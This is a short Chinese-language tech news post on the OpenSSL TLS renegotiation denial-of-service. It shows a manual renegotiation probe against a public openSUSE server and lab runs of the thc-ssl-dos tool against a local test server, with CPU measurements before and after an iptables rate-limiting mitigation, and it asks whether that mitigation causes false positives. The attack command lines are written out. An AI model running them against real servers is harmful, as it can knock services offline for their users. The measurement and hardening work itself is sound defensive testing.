solidot | openssl renegotiation dos攻击仍然难以解决
shawn@fortress / $ openssl s_client -connect build.opensuse.org:443
..............................
..............................
timeout&& : 300 (sec) &&&
verify return code: 20 (unable to get local issuer certificate) ---
r&& // 这里按r然后回车
renegotiating 140722018514592:error:1409e0e5:ssl routines:ssl3_write_bytes:ssl handshake failure:s3_pkt.c:592:
服务器端的重新密钥协商的开销是客户端的15倍,在带宽足够的情况下一台i7的cpu可以fuc*掉足够多的服务器,以下是测评数据:
测试环境:sles 11 sp2 , 虚拟机中分配了2 cores + 1gb内存
case i:
server: openssl s_server -key server-key.pem
client: thc-ssl-dos 192.168.0.1 4433 --accept -l 10000
最坏的情况:
cpu0 : 1.3%us, 1.7%sy, 0.0%ni, 97.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
cpu1 : 53.1%us, 5.1%sy, 0.0%ni, 37.1%id, 0.0%wa, 0.0%hi, 0.7%si, 0.0%st
case ii:& 使用了开源加固方案,在netfilter上限制连接的速率和用固定的特征码去匹配
#sh iptables.sh
#iptables -a input -d 192.168.0.1 -p tcp --dport 4433 -j limit_renegociation
server: openssl s_server -key server-key.pem
client: thc-ssl-dos 192.168.0.1 4433 --accept -l 10000
最坏的情况:
cpu0 : 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
cpu1 : 0.0%us, 0.7%sy, 0.0%ni, 99.3%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
这个方案的确有效,但不确定是否有副作用,固定的特征如果跟其他hash or 其他xx碰撞是否会有false positive?"